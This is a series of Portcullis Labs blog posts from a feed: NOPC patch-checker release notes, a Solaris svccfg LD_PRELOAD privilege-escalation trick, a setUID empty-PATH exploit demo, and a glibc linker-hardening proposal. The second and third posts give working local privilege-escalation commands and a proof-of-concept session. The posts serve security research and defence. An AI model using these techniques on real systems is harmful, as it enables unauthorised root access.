  • Added Output CSV Format to display information of affected CVEs and CVSS scores
  • Fixed bug in Ubuntu, Redhat and others where “host/cpu” type (value of either: x86_64, i686) is required
  • Fixed OSX mktemp problem by forcing temp storage in /tmp/kb.xxxx directory
  • Fixed bug in HP-UX section where “/Host/HP-UX/hardware” is required

Usage

The following are optional parameters:

  • -d ‘nessus plugin dir’
  • -l ‘output type’
  • -n ‘location of nasl command’
  • -s ‘system type’

The -d option is not required as the default settings is the location for a standard nessus installation (/opt/nessus/lib/nessus/plugins/).

The -l option decides how the output is displayed (see below for support output types). The -n option is not required if you include the nasl command in your path (e.g. export PATH=$PATH:/opt/nessus/bin/). The -s option selects which operating system that will analysed (discussed later).

Output types

Basically, there are raw and CSV output types. There are different output variations available particularly for CSV as follows:
* -l ’0′ = Displays outdated package information only. This is the Installed and Fixed version for each outdated package
* -l ’1′ = Displays NASL name and outdated packages
* -l ’2′ = Displays CVEs for each affected package in (CSV comma separated format)
* -l ’3′ = Displays CVEs and CVSSv2 score for each affected package (CSV comma separated format)
* -l ’4′ = Displays CVE for each affected package (tab separated format)
* -l ’5′ = Displays CVE and CVSSv2 score for each affected package (tab separated format)

Interactive mode

If nopc.sh is launched with no -s option, it will go to interactive mode.

Example

$ nopc.sh -l 3
[+] What type of system have you got the patch output for?
 1 - Redhat
 2 - OSX
 3 - Debian
 4 - Ubuntu
 5 - Slackware *
 6 - Solaris (Maybe !11) *
 7 - AIX
 8 - HP-UX *
 9 - FreeBSD *
 10 - Cisco ASA/IOS

 * UNTESTED!!

Enter 1-10? 4
[+] Ubuntu Selected
[+] Run 'dpkg -l|cat > patchlist.txt'
[+] Enter Location of file: patch-ubuntu-krb5-2.txt
[+] Enter the Value of DISTRIB_RELEASE=() from /etc/lsb-release e.g. 11.10
[+] Enter Text Requested: 10.04
[+] Enter value of 'uname -m' e.g. x86_64, i686
[+] Enter Text Requested: i586
[+] To run this in a script the command would be:

/opt/bin/nopc.sh -l '3' -s '4' 'patch-ubuntu-krb5-2.txt' '10.04' 'i586'

[+] Locating Nasls
[+] Checking for 2314 Missing Patches
NOPC, Ubuntu
Plugin ID, CVE, CVSSv2, Severity, KB, Title
61379, "CVE-2012-1012, CVE-2012-1013, CVE-2012-1014, CVE-2012-1015", 9.3, High, "USN-1520-1", "Ubuntu 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : krb5 vulnerabilities (USN-1520-1)"
51116, "CVE-2010-1323, CVE-2010-1324, CVE-2010-4020, CVE-2010-4021", 4.3, Medium, "USN-1030-1", "Ubuntu 6.06 LTS / 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : krb5 vulnerabilities (USN-1030-1)"
52682, "CVE-2011-0284", 7.6, High, "USN-1088-1", "Ubuntu 9.10 / 10.04 LTS / 10.10 : krb5 vulnerability (USN-1088-1)"
55074, "CVE-2011-0285", 10, High, "USN-1116-1", "Ubuntu 9.10 / 10.04 LTS / 10.10 : krb5 vulnerability (USN-1116-1)"
51985, "CVE-2010-4022, CVE-2011-0281, CVE-2011-0282", 5, Medium, "USN-1062-1", "Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : krb5 vulnerabilities (USN-1062-1)"
49772, "CVE-2010-1322", 6.5, Medium, "USN-999-1", "Ubuntu 10.04 LTS / 10.10 : krb5 vulnerability (USN-999-1)"

Command line

You will notice that the interactive version displays corresponding command-line syntax you could have used. In the example above the following non-interactive invocation could have been used:

/opt/bin/nopc.sh -l '3' -s '4' 'patch-ubuntu-krb5-2.txt' '10.04' 'i586'

Other interesting variations include for Mac OSX, the location of files for Nessus is may not be same Linux (e.g. /library/Nessus) and hence you will need to add -d and -n options to run as follows:

$ nopc.sh -d "/Library/Nessus/run/lib/nessus/plugins/" -n "/Library/Nessus/run/bin/nasl" -l '3' -s '4' 'patch-ubuntu-10.04.txt' '10.04' 'i586'

You can also use specific plugins, which what I did in testing nopc.sh out. For example, copy a number of nasls into a directory myplugins and then:

$ nopc.sh -d "myplugins/" -l '3' -s '4' 'patch-ubuntu-10.04.txt' '10.04' 'i586'

Hidden options

You will see that there are 10 options in the interactive mode.

 1 - Redhat
 2 - OSX
 3 - Debian
 4 - Ubuntu
 5 - Slackware *
 6 - Solaris (Maybe !11) *
 7 - AIX
 8 - HP-UX *
 9 - FreeBSD *
 10 - Cisco ASA/IOS

However a few more are added in this release:

 11. SuSE
 12. CentOS
 13. Fedora
 14. Gentoo
 15. Mandrake

Example

$ nopc.sh -s 11
 [+] SuSE Selected
 [+] Run '/bin/rpm -qa --qf '%{NAME}-%{VERSION}-%{RELEASE}|%{EPOCH}\n' > patchlist.txt'
 [+] Enter Location of file: patch-suse10-multi1.txt
 [+] Run 'cat /etc/SuSE-release > release.txt
 [+] Enter Location of file: release-suse-10.txt
 [+] Enter value of 'uname -m' e.g. x86_64, i686
 [+] Enter Text Requested: i686
 [+] To run this in a script the command would be:

/opt/bin/nopc.sh -s '11' 'patch-suse10-multi1.txt' 'release-suse-10.txt' 'i686'

[+] SuSE Selected
 [+] Locating Nasls
 [+] Checking for 4905 Missing Patches
 /opt/nessus/lib/nessus/plugins/suse_SA_2007_004.nasl: Success
 /opt/nessus/lib/nessus/plugins/suse_SA_2007_025.nasl: Success
 /opt/nessus/lib/nessus/plugins/suse_SA_2007_038.nasl: Success

Note for these distributions, some simple tests were performed to ensure it is working (as they are not as commonly seen OS).

The next version of NOPC will update the interactive screen and also include an option to which output type format to use.

Summary

This article presents the improvements and fixes to NOPC for the version 0.4.5 release. We have gone through examples and how to use it.

If you find any bugs with this version, please let us know, particularly if you know you are reviewing a vulnerable system and NOPC generates no output or errors.

The post NOPC version 0.4.5 released appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/nopc-version-0-4-5-released/feed/ 0
uid=0 is deprecated: A trick unix-privesc-check doesn’t yet know https://labs.portcullis.co.uk/blog/uid0-is-deprecated-a-trick-unix-privesc-check-doesnt-yet-know/ https://labs.portcullis.co.uk/blog/uid0-is-deprecated-a-trick-unix-privesc-check-doesnt-yet-know/#comments Tue, 05 May 2015 13:23:35 +0000 https://labs.portcullis.co.uk/?p=5100 Just like Linux, the modern Solaris install doesn’t simply rely on UID/GID to determine privilege. Instead there are roles and profiles to contend with. The following is a loose explanation of how they work: User = user + group + user_attr + /etc/security/auth_attr + /etc/security/auth_attr.d/* user = Raw privileges (PRIV_DEFAULT + !PRIV_LIMIT) user_attr = List […]

The post uid=0 is deprecated: A trick unix-privesc-check doesn’t yet know appeared first on Portcullis Labs.

]]>
Just like Linux, the modern Solaris install doesn’t simply rely on UID/GID to determine privilege. Instead there are roles and profiles to contend with. The following is a loose explanation of how they work:

  1. User = user + group + user_attr + /etc/security/auth_attr + /etc/security/auth_attr.d/*
    1. user = Raw privileges (PRIV_DEFAULT + !PRIV_LIMIT)
    2. user_attr = List of profiles (/etc/security/prof_attr + /etc/security/prof_attr.d/*)
      1. prof_attr = List of authorisations (/etc/security/auth_attr + /etc/security/auth_attr.d)

Additionally, /etc/security/exec_attr specifies what privs a particular command will execute under a given profile.

The first user added will get root by virtue of this scheme. Having said that, for Solaris 11, Oracle pretty much canned this and moved to sudo instead. It’s still there though, if you look.

So today, we were looking at a Solaris 11 box which was mostly being managed via sudo. I say mostly because we found this (isolated) gem in user_attr:

bob::::profiles=Service Management,Service Operator

It’s likely not a backdoor but it is rather odd given the beautiful /etc/sudoers.d hirearchy that also existed on the same system. This authorised them to use the solaris.smf.manage and solaris.smf.modify privileges.

This could be bad. To quote the man page, users authorised with the solaris.smf.modify privilege are:

Authorized to add, delete, or modify services, service instances, or their properties, and to read protected property values.

whilst solaris.smf.manage is:

The service management profile is the minimum required to use the pkg(1) command to add or remove software packages that contain an inventory of services in its service manifest.

So is it exploitable? Well, it turns out that users with those particular authorised privileges can run the following:

bob@localhost:~ $ svccfg -s <service> setenv -m start LD_PRELOAD /tmp/libdoor.so; svcadm refresh <service>; svcadm restart <service>

This, when executed, will cause the named service to have a new environment variable defined (LD_PRELOAD) which points at our malicious code (/tmp/libdoor.so) which will be loaded by the service when it is restarted. As a result, our malicious code will be run as the same user as the victim user, giving us persistent privileged access to the victim machine.

Without these privileges, the same command will result in an error:

bob@localhost:~ $ svccfg -s <service> setenv -m start LD_PRELOAD /tmp/libdoor.so; svcadm refresh <service>; svcadm restart <service>
svccfg: Permission denied.

Bottom line, if you compromise a modern Solaris box, try running auths (and roles) to check what privileges may have been left behind, it may be more than you think.

The post uid=0 is deprecated: A trick unix-privesc-check doesn’t yet know appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/uid0-is-deprecated-a-trick-unix-privesc-check-doesnt-yet-know/feed/ 0
Beware of empty paths https://labs.portcullis.co.uk/blog/beware-of-empty-paths/ https://labs.portcullis.co.uk/blog/beware-of-empty-paths/#comments Thu, 26 Mar 2015 10:25:11 +0000 https://labs.portcullis.co.uk/?p=4992 Consider the case of a setUID binary that runs as root and allows the caller to execute certain other scripts and binaries from a given restricted directory. The Portcullis Labs team recently spotted such a case and I was asked to take a look to determine exploitablity. What follows is a short analysis of what […]

The post Beware of empty paths appeared first on Portcullis Labs.

]]>
Consider the case of a setUID binary that runs as root and allows the caller to execute certain other scripts and binaries from a given restricted directory. The Portcullis Labs team recently spotted such a case and I was asked to take a look to determine exploitablity. What follows is a short analysis of what I found.

The binary concerned took several steps to protect itself including:

  • Validating that the sub-command wasn’t overly long
  • Validating that the sub-command didn’t contain sensitive characters
  • Validating that the sub-command existed in the restricted location
  • Checking that the sub-command had the setUID bit set
  • Clearing down sensitive environment variables such as PATH and LD_PRELOAD prior to transferring control to the sub-command

So what could go wrong?

Well, it turns out that the way it cleared down sensitive variables left a little to be desired.

If you break out IDA (or even plain old strings), you’ll see that the binary sets PATH etc to “”. This is fine in most cases, but if the script uses an interpreter that doesn’t reset PATH (sadly sh will nomally reset it via the rc files etc) then the interpreter will attempt to run commands from “” i.e. the current working directory.

For example:

$ ls -la /restricted/allowed
-rwsr-xr-x 1 root root 56 Feb 12 20:27 /restricted/allowed
$ cat /restricted/allowed
#!/usr/bin/tclsh8.6
exec id
$ cat ./id
#!/bin/sh
touch foo
$ ls -l foo
-rw-r--r-- 1 root user 0 Feb 12 20:29 foo

The post Beware of empty paths appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/beware-of-empty-paths/feed/ 0
Fixing the links: Hardening the linker https://labs.portcullis.co.uk/blog/fixing-the-links-hardening-the-linker/ https://labs.portcullis.co.uk/blog/fixing-the-links-hardening-the-linker/#comments Fri, 20 Feb 2015 14:08:36 +0000 https://labs.portcullis.co.uk/?p=5022 As many of our regular readers will know, the Portcullis Labs team have a good deal of experience with reviewing the security of POSIX alike OS, and as a result, we’ve made some interesting discoveries in terms of how easy it can be to escalate ones privileges. As I discussed some time ago at CRESTCon, […]

The post Fixing the links: Hardening the linker appeared first on Portcullis Labs.

]]>
As many of our regular readers will know, the Portcullis Labs team have a good deal of experience with reviewing the security of POSIX alike OS, and as a result, we’ve made some interesting discoveries in terms of how easy it can be to escalate ones privileges. As I discussed some time ago at CRESTCon, one particular avenue of attack that we like is the runtime linker itself. As part of our ongoing research, I’ve recently issued a request for comments for a patch that tackles a number of systemic weaknesses in the Linux (glibc) runtime linker that we often exploit. A few further points on the rationale…

Why?

If you take a look over our advisories page, over the last couple of years I’ve spent a good deal of time dealing with vendors who, for one reason or another have shipped binaries where it is possible to inject untrusted code into privileged processes, notably but not exclusively via DT_RPATH.

What’s the fix?

More often than not, the underlying issue is an empty element within the DT_RPATH header or equivalent. Sometimes it’s not, but even in those cases, it is largely that one or more elements isn’t qualified (i.e. it doesn’t start with /). The patch I have circulated fixes this, by causing the runtime linker to ignore any elements of DT_RPATH and LD_LIBRARY_PATH that do not start with a /, and/or junk any use of dlopen() where the filename is likewise unqualified.

Won’t this break stuff?

Maybe (certainly it is means a change to glibc behavior), but more often than not, the fact that a given binary currently works in an unsafe way is a bug – and an exploitable one at that. Moreover, Solaris has had a similar sanity check (in their case only for privileged setUID binaries) for a good number of years without serious incident. I believe we should be fixing software that exhibits the behavior I’ve described, but this patch will (I think) kill the bug class irrespective of that.

I’ve already had some useful feedback about non-privileged use cases that would be affected by the change. It would be dead easy only to use the part of the patch that rejects unsafe linker paths for setUID binaries only. However, as I have said, that offers less protection. I’d like to make the patch consumable and indeed, I’m leaning towards having $RELATIVE (new) and $ORIGIN honoured when the binary isn’t setUID.

Further thoughts?

The patch I have submitted is the most robust variant I’ve produced in that it kills unqualified linker paths, irrespective of the privileges with which the affected binary is executed. We could kill the checks for non-setUID binaries or we could add some additional errors in such cases. I did experiment with only checking a subset of cases (namely where LD_LIBRARY_PATH itself is set) if the process wasn’t privileged, but in the end, I concluded that the loading of any unqualified linker path could provide an exploit vector (if the non-setUID binary is executed from a privileged process etc) and so erred on the side of caution. A useful variant of my patch for auditors is one that logs dangerous conditions rather than reject them outright, but I’m unconvinced that it is helpful for the masses.

The next step will be (once I have digested the views of the oss-security community) to submit it directly to the glibc maintainers. Sharing it with security folk (who may well wear slightly more positive hats to begin with) seemed like a safe place to start but a fix that no one uses does not offer any real value.

The post Fixing the links: Hardening the linker appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/fixing-the-links-hardening-the-linker/feed/ 0